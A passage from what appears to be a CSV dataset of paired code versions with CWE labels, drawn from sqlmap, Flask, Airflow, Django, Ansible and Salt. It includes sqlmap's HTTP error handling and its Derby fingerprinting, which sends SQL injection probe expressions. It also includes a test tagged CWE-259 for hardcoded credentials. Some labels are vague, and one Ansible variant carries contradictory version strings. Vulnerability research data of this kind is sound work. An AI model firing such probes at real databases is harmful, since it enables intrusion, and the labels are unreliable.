                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/ctx.py,0,"def push(self):
        """"""Binds the app context to the current context.""""""
        self._refcnt += 1
        if hasattr(sys, 'exc_clear'):
            sys.exc_clear()
        _app_ctx_stack.push(self)
        appcontext_pushed.send(self.app)",,pallets/flask,a3a2f521f14ba90689efc661afe7a0375409c83e,"def push(self):
        """"""Binds the app context to the current context.""""""
        self._refcnt += 1
        _app_ctx_stack.push(self)
        appcontext_pushed.send(self.app)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/connection_command.py,0,"def connections_export(args):
    """"""Export all connections to a file.""""""
    file_formats = ["".yaml"", "".json"", "".env""]
    if args.format:
        warnings.warn(""Option `--format` is deprecated.  Use `--file-format` instead."", DeprecationWarning)
    if args.format and args.file_format:
        raise SystemExit(""Option `--format` is deprecated.  Use `--file-format` instead."")
    default_format = "".json""
    provided_file_format = None
    if args.format or args.file_format:
        provided_file_format = f"".{(args.format or args.file_format).lower()}""

    with args.file as f:
        if file_is_stdout := is_stdout(f):
            filetype = provided_file_format or default_format
        elif provided_file_format:
            filetype = provided_file_format
        else:
            filetype = Path(args.file.name).suffix.lower()
            if filetype not in file_formats:
                raise SystemExit(
                    f""Unsupported file format. The file must have the extension {', '.join(file_formats)}.""
                )

        if args.serialization_format and filetype != "".env"":
            raise SystemExit(""Option `--serialization-format` may only be used with file type `env`."")

        with create_session() as session:
            connections = session.scalars(select(Connection).order_by(Connection.conn_id)).all()

        msg = _format_connections(
            conns=connections,
            file_format=filetype,
            serialization_format=args.serialization_format or ""uri"",
        )

        f.write(msg)

    if file_is_stdout:
        print(f""\n{len(connections)} connections successfully exported."", file=sys.stderr)
    else:
        print(f""{len(connections)} connections successfully exported to {args.file.name}."")",CWE-Unknown,apache/airflow,a5f5e2fc7f7b7f461458645c8826f015c1fa8d78,"def connections_export(args):
    """"""Export all connections to a file.""""""
    file_formats = ["".yaml"", "".json"", "".env""]
    if args.format:
        warnings.warn(""Option `--format` is deprecated.  Use `--file-format` instead."", DeprecationWarning)
    if args.format and args.file_format:
        raise SystemExit(""Option `--format` is deprecated.  Use `--file-format` instead."")
    default_format = "".json""
    provided_file_format = None
    if args.format or args.file_format:
        provided_file_format = f"".{(args.format or args.file_format).lower()}""

    with args.file as f:
        if file_is_stdout := is_stdout(f):
            filetype = provided_file_format or default_format
        elif provided_file_format:
            filetype = provided_file_format
        else:
            filetype = Path(args.file.name).suffix.lower()
            if filetype not in file_formats:
                raise SystemExit(
                    f""Unsupported file format. The file must have the extension {', '.join(file_formats)}.""
                )

        if args.serialization_format and filetype != "".env"":
            raise SystemExit(""Option `--serialization-format` may only be used with file type `env`."")

        with create_session() as session:
            connections = session.scalars(select(Connection).order_by(Connection.conn_id)).all()

        msg = _format_connections(
            conns=connections,
            file_format=filetype,
            serialization_format=args.serialization_format or ""uri"",
        )

        f.write(msg)

    if file_is_stdout:
        print(""\nConnections successfully exported."", file=sys.stderr)
    else:
        print(f""Connections successfully exported to {args.file.name}."")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/humanize/templatetags/humanize.py,0,"def naturaltime(value):
    """"""
    For date and time values shows how many seconds, minutes or hours ago
    compared to current timestamp returns representing string.
    """"""
    if not isinstance(value, date): # datetime is a subclass of date
        return value

    now = datetime.now(utc if is_aware(value) else None)
    if value < now:
        delta = now - value
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s ago'
            ) % {'delta': defaultfilters.timesince(value, now)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                'a second ago', '%(count)s seconds ago', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                'a minute ago', '%(count)s minutes ago', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                'an hour ago', '%(count)s hours ago', count
            ) % {'count': count}
    else:
        delta = value - now
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s from now'
            ) % {'delta': defaultfilters.timeuntil(value, now)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                'a second from now', '%(count)s seconds from now', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                'a minute from now', '%(count)s minutes from now', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                'an hour from now', '%(count)s hours from now', count
            ) % {'count': count}",CWE-Unknown,django/django,123362dd37a076987f265179fe16dcd2b6a16d12,"def naturaltime(value):
    """"""
    For date and time values shows how many seconds, minutes or hours ago
    compared to current timestamp returns representing string.
    """"""
    if not isinstance(value, date): # datetime is a subclass of date
        return value

    now = datetime.now(utc if is_aware(value) else None)
    if value < now:
        delta = now - value
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s ago'
            ) % {'delta': defaultfilters.timesince(value)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                'a second ago', '%(count)s seconds ago', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                'a minute ago', '%(count)s minutes ago', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                'an hour ago', '%(count)s hours ago', count
            ) % {'count': count}
    else:
        delta = value - now
        if delta.days != 0:
            return pgettext(
                'naturaltime', '%(delta)s from now'
            ) % {'delta': defaultfilters.timeuntil(value)}
        elif delta.seconds == 0:
            return _('now')
        elif delta.seconds < 60:
            return ungettext(
                'a second from now', '%(count)s seconds from now', delta.seconds
            ) % {'count': delta.seconds}
        elif delta.seconds // 60 < 60:
            count = delta.seconds // 60
            return ungettext(
                'a minute from now', '%(count)s minutes from now', count
            ) % {'count': count}
        else:
            count = delta.seconds // 60 // 60
            return ungettext(
                'an hour from now', '%(count)s hours from now', count
            ) % {'count': count}"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,thirdparty/clientform/clientform.py,0,"def _start_option(self, attrs):
        debug(""%s"", attrs)
        if self._select is None:
            raise ParseError(""OPTION outside of SELECT"")
        if self._option is not None:
            self._end_option()

        d = {}
        for key, val in attrs:
            d[key] = self.unescape_attr_if_required(val)

        self._option = {}
        self._option.update(d)
        if (self._optgroup and ""disabled"" in self._optgroup and
            ""disabled"" not in self._option):
            self._option[""disabled""] = None",,sqlmapproject/sqlmap,fa2572f58abb5eabbb9e387b3a0875b9655c3afe,"def _start_option(self, attrs):
        debug(""%s"", attrs)
        if self._select is None:
            raise ParseError(""OPTION outside of SELECT"")
        if self._option is not None:
            self._end_option()

        d = {}
        for key, val in attrs:
            d[key] = self.unescape_attr_if_required(val)

        self._option = {}
        self._option.update(d)
        if (self._optgroup and self._optgroup.has_key(""disabled"") and
            not self._option.has_key(""disabled"")):
            self._option[""disabled""] = None"
,UNKNOWN,UNKNOWN,tests/providers/jenkins/hooks/test_jenkins.py,1,"def test_client_created_default_http(self, get_connection_mock):
        """"""tests `init` method to validate http client creation when all parameters are passed""""""
        default_connection_id = ""jenkins_default""

        connection_host = ""test.com""
        connection_port = 8080
        get_connection_mock.return_value = mock.Mock(
            connection_id=default_connection_id,
            login=""test"",
            password=""test"",
            schema="""",
            extra_dejson={""use_https"": False},
            host=connection_host,
            port=connection_port,
        )

        complete_url = f""http://{connection_host}:{connection_port}/""
        hook = JenkinsHook(default_connection_id)
        assert hook.jenkins_server is not None
        assert hook.jenkins_server.server == complete_url","CWE-259, CWE-703",apache/airflow,1f8bf783b89d440ecb3e6db536c63ff324d9fc62,"def test_client_created_default_http(self, get_connection_mock):
        """"""tests `init` method to validate http client creation when all parameters are passed""""""
        default_connection_id = ""jenkins_default""

        connection_host = ""http://test.com""
        connection_port = 8080
        get_connection_mock.return_value = mock.Mock(
            connection_id=default_connection_id,
            login=""test"",
            password=""test"",
            schema="""",
            extra="""",
            host=connection_host,
            port=connection_port,
        )

        complete_url = f""http://{connection_host}:{connection_port}/""
        hook = JenkinsHook(default_connection_id)
        assert hook.jenkins_server is not None
        assert hook.jenkins_server.server == complete_url"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/derby/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES):
            setDbms(DBMS.DERBY)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.DERBY
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.DERBY
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.DERBY
                logger.warning(warnMsg)

                return False

            setDbms(DBMS.DERBY)

            self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.DERBY
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES):
            setDbms(DBMS.DERBY)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.DERBY
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.DERBY
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.DERBY
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.DERBY)

            self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.DERBY
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_grid.py,1,"def test_no_runs(admin_client, dag_without_runs):
    resp = admin_client.get(f""/object/grid_data?dag_id={DAG_ID}"", follow_redirects=True)
    assert resp.status_code == 200, resp.json
    assert resp.json == {
        ""dag_runs"": [],
        ""groups"": {
            ""children"": [
                {
                    ""extra_links"": [],
                    ""has_outlet_datasets"": False,
                    ""id"": ""task1"",
                    ""instances"": [],
                    ""is_mapped"": False,
                    ""label"": ""task1"",
                    ""operator"": ""EmptyOperator"",
                    ""trigger_rule"": ""all_success"",
                },
                {
                    ""children"": [
                        {
                            ""extra_links"": [],
                            ""has_outlet_datasets"": False,
                            ""id"": ""mapped_task_group.subtask2"",
                            ""instances"": [],
                            ""is_mapped"": True,
                            ""label"": ""subtask2"",
                            ""operator"": ""MockOperator"",
                            ""trigger_rule"": ""all_success"",
                        }
                    ],
                    ""is_mapped"": True,
                    ""id"": ""mapped_task_group"",
                    ""instances"": [],
                    ""label"": ""mapped_task_group"",
                    ""tooltip"": """",
                },
                {
                    ""children"": [
                        {
                            ""extra_links"": [],
                            ""has_outlet_datasets"": False,
                            ""id"": ""group.mapped"",
                            ""instances"": [],
                            ""is_mapped"": True,
                            ""label"": ""mapped"",
                            ""operator"": ""MockOperator"",
                            ""trigger_rule"": ""all_success"",
                        }
                    ],
                    ""id"": ""group"",
                    ""instances"": [],
                    ""label"": ""group"",
                    ""tooltip"": """",
                },
            ],
            ""id"": None,
            ""instances"": [],
            ""label"": None,
        },
        ""ordering"": [""data_interval_end"", ""execution_date""],
    }",CWE-703,apache/airflow,4652d7fc00de84090463a830d93d6a97a6c09185,"def test_no_runs(admin_client, dag_without_runs):
    resp = admin_client.get(f""/object/grid_data?dag_id={DAG_ID}"", follow_redirects=True)
    assert resp.status_code == 200, resp.json
    assert resp.json == {
        ""dag_runs"": [],
        ""groups"": {
            ""children"": [
                {
                    ""extra_links"": [],
                    ""has_outlet_datasets"": False,
                    ""id"": ""task1"",
                    ""instances"": [],
                    ""is_mapped"": False,
                    ""label"": ""task1"",
                    ""operator"": ""EmptyOperator"",
                    ""trigger_rule"": ""all_success"",
                },
                {
                    ""children"": [
                        {
                            ""extra_links"": [],
                            ""has_outlet_datasets"": False,
                            ""id"": ""mapped_task_group.subtask2"",
                            ""instances"": [],
                            ""is_mapped"": True,
                            ""label"": ""subtask2"",
                            ""operator"": ""MockOperator"",
                            ""trigger_rule"": ""all_success"",
                        }
                    ],
                    ""is_mapped"": True,
                    ""id"": ""mapped_task_group"",
                    ""instances"": [],
                    ""label"": ""mapped_task_group"",
                    ""tooltip"": """",
                },
                {
                    ""children"": [
                        {
                            ""extra_links"": [],
                            ""has_outlet_datasets"": False,
                            ""id"": ""group.mapped"",
                            ""instances"": [],
                            ""is_mapped"": True,
                            ""label"": ""mapped"",
                            ""operator"": ""MockOperator"",
                            ""trigger_rule"": ""all_success"",
                        }
                    ],
                    ""id"": ""group"",
                    ""instances"": [],
                    ""label"": ""group"",
                    ""tooltip"": """",
                },
            ],
            ""id"": None,
            ""instances"": [],
            ""label"": None,
        },
        ""ordering"": [""data_interval_end"", ""execution_date""],
    }"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/firewalld.py,0,"def main():

    global module
    module = AnsibleModule(
        argument_spec=dict(
            service=dict(required=False, default=None),
            port=dict(required=False, default=None),
            rich_rule=dict(required=False, default=None),
            zone=dict(required=False, default=None),
            immediate=dict(type='bool', default=False),
            source=dict(required=False, default=None),
            permanent=dict(type='bool', required=False, default=None),
            state=dict(choices=['enabled', 'disabled'], required=True),
            timeout=dict(type='int', required=False, default=0),
            interface=dict(required=False, default=None),
            masquerade=dict(required=False, default=None),
            offline=dict(type='bool', required=False, default=None),
        ),
        supports_check_mode=True
    )

    if import_failure:
        module.fail_json(
            msg='firewalld and its python module are required for this module, version 0.2.11 or newer required (0.3.9 or newer for offline operations)'
        )

    if fw_offline:
        # Pre-run version checking
        if FW_VERSION < ""0.3.9"":
            module.fail_json(msg='unsupported version of firewalld, offline operations require >= 0.3.9')
    else:
        # Pre-run version checking
        if FW_VERSION < ""0.2.11"":
            module.fail_json(msg='unsupported version of firewalld, requires >= 0.2.11')

        # Check for firewalld running
        try:
            if fw.connected is False:
                module.fail_json(msg='firewalld service must be running, or try with offline=true')
        except AttributeError:
            module.fail_json(msg=""firewalld connection can't be established,\
                    installed version (%s) likely too old. Requires firewalld >= 0.2.11"" % FW_VERSION)

    permanent = module.params['permanent']
    desired_state = module.params['state']
    immediate = module.params['immediate']
    timeout = module.params['timeout']
    interface = module.params['interface']
    masquerade = module.params['masquerade']

    # If neither permanent or immediate is provided, assume immediate (as
    # written in the module's docs)
    if not permanent and not immediate:
        immediate = True

    # Verify required params are provided
    if immediate and fw_offline:
        module.fail(msg='firewall is not currently running, unable to perform immediate actions without a running firewall daemon')

    changed = False
    msgs = []
    service = module.params['service']
    rich_rule = module.params['rich_rule']
    source = module.params['source']

    if module.params['port'] is not None:
        port, protocol = module.params['port'].strip().split('/')
        if protocol is None:
            module.fail_json(msg='improper port format (missing protocol?)')
    else:
        port = None

    # If we weren't provided a zone, then just use the system default
    if module.params['zone'] is not None:
        zone = module.params['zone']
    else:
        if fw_offline:
            zone = fw.get_default_zone()
        else:
            zone = fw.getDefaultZone()

    modification_count = 0
    if service is not None:
        modification_count += 1
    if port is not None:
        modification_count += 1
    if rich_rule is not None:
        modification_count += 1
    if interface is not None:
        modification_count += 1
    if masquerade is not None:
        modification_count += 1

    if modification_count > 1:
        module.fail_json(
            msg='can only operate on port, service, rich_rule, or interface at once'
        )

    if service is not None:

        transaction = ServiceTransaction(
            fw,
            action_args=(service, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(""Changed service %s to %s"" % (service, desired_state))

    if source is not None:

        transaction = SourceTransaction(
            fw,
            action_args=(source,),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if port is not None:

        transaction = PortTransaction(
            fw,
            action_args=(port, protocol, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(
                ""Changed port %s to %s"" % (
                    ""%s/%s"" % (port, protocol), desired_state
                )
            )

    if rich_rule is not None:

        transaction = RichRuleTransaction(
            fw,
            action_args=(rich_rule, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(""Changed rich_rule %s to %s"" % (rich_rule, desired_state))

    if interface is not None:

        transaction = InterfaceTransaction(
            fw,
            action_args=(interface,),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if masquerade is not None:

        transaction = MasqueradeTransaction(
            fw,
            action_args=(),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if fw_offline:
        msgs.append(""(offline operation: only on-disk configs were altered)"")

    module.exit_json(changed=changed, msg=', '.join(msgs))",,ansible/ansible,122398b081ca59f017d6d621cee49a564a4d93b8,"def main():

    global module
    module = AnsibleModule(
        argument_spec=dict(
            service=dict(required=False, default=None),
            port=dict(required=False, default=None),
            rich_rule=dict(required=False, default=None),
            zone=dict(required=False, default=None),
            immediate=dict(type='bool', default=False),
            source=dict(required=False, default=None),
            permanent=dict(type='bool', required=False, default=None),
            state=dict(choices=['enabled', 'disabled'], required=True),
            timeout=dict(type='int', required=False, default=0),
            interface=dict(required=False, default=None),
            masquerade=dict(required=False, default=None),
            offline=dict(type='bool', required=False, default=None),
        ),
        supports_check_mode=True
    )

    if import_failure:
        module.fail_json(
            msg='firewalld and its python 2 module are required for this module, version 2.0.11 or newer required (3.0.9 or newer for offline operations)'
        )

    if fw_offline:
        # Pre-run version checking
        if FW_VERSION < ""0.3.9"":
            module.fail_json(msg='unsupported version of firewalld, offline operations require >= 0.3.9')
    else:
        # Pre-run version checking
        if FW_VERSION < ""0.2.11"":
            module.fail_json(msg='unsupported version of firewalld, requires >= 0.2.11')

        # Check for firewalld running
        try:
            if fw.connected is False:
                module.fail_json(msg='firewalld service must be running, or try with offline=true')
        except AttributeError:
            module.fail_json(msg=""firewalld connection can't be established,\
                    installed version (%s) likely too old. Requires firewalld >= 0.2.11"" % FW_VERSION)

    permanent = module.params['permanent']
    desired_state = module.params['state']
    immediate = module.params['immediate']
    timeout = module.params['timeout']
    interface = module.params['interface']
    masquerade = module.params['masquerade']

    # If neither permanent or immediate is provided, assume immediate (as
    # written in the module's docs)
    if not permanent and not immediate:
        immediate = True

    # Verify required params are provided
    if immediate and fw_offline:
        module.fail(msg='firewall is not currently running, unable to perform immediate actions without a running firewall daemon')

    changed = False
    msgs = []
    service = module.params['service']
    rich_rule = module.params['rich_rule']
    source = module.params['source']

    if module.params['port'] is not None:
        port, protocol = module.params['port'].strip().split('/')
        if protocol is None:
            module.fail_json(msg='improper port format (missing protocol?)')
    else:
        port = None

    # If we weren't provided a zone, then just use the system default
    if module.params['zone'] is not None:
        zone = module.params['zone']
    else:
        if fw_offline:
            zone = fw.get_default_zone()
        else:
            zone = fw.getDefaultZone()

    modification_count = 0
    if service is not None:
        modification_count += 1
    if port is not None:
        modification_count += 1
    if rich_rule is not None:
        modification_count += 1
    if interface is not None:
        modification_count += 1
    if masquerade is not None:
        modification_count += 1

    if modification_count > 1:
        module.fail_json(
            msg='can only operate on port, service, rich_rule, or interface at once'
        )

    if service is not None:

        transaction = ServiceTransaction(
            fw,
            action_args=(service, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(""Changed service %s to %s"" % (service, desired_state))

    if source is not None:

        transaction = SourceTransaction(
            fw,
            action_args=(source,),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if port is not None:

        transaction = PortTransaction(
            fw,
            action_args=(port, protocol, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(
                ""Changed port %s to %s"" % (
                    ""%s/%s"" % (port, protocol), desired_state
                )
            )

    if rich_rule is not None:

        transaction = RichRuleTransaction(
            fw,
            action_args=(rich_rule, timeout),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs
        if changed is True:
            msgs.append(""Changed rich_rule %s to %s"" % (rich_rule, desired_state))

    if interface is not None:

        transaction = InterfaceTransaction(
            fw,
            action_args=(interface,),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if masquerade is not None:

        transaction = MasqueradeTransaction(
            fw,
            action_args=(),
            zone=zone,
            desired_state=desired_state,
            permanent=permanent,
            immediate=immediate,
            fw_offline=fw_offline
        )

        changed, transaction_msgs = transaction.run()
        msgs = msgs + transaction_msgs

    if fw_offline:
        msgs.append(""(offline operation: only on-disk configs were altered)"")

    module.exit_json(changed=changed, msg=', '.join(msgs))"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_mac_brew_pkg.py,1,"def test_homebrew_bin(HOMEBREW_BIN):
    """"""
    Tests the path to the homebrew binary
    """"""
    mock_path = MagicMock(return_value=""/usr/local"")
    with patch(""salt.utils.path.which"", MagicMock(return_value=HOMEBREW_BIN)):
        with patch.dict(mac_brew.__salt__, {""cmd.run"": mock_path}):
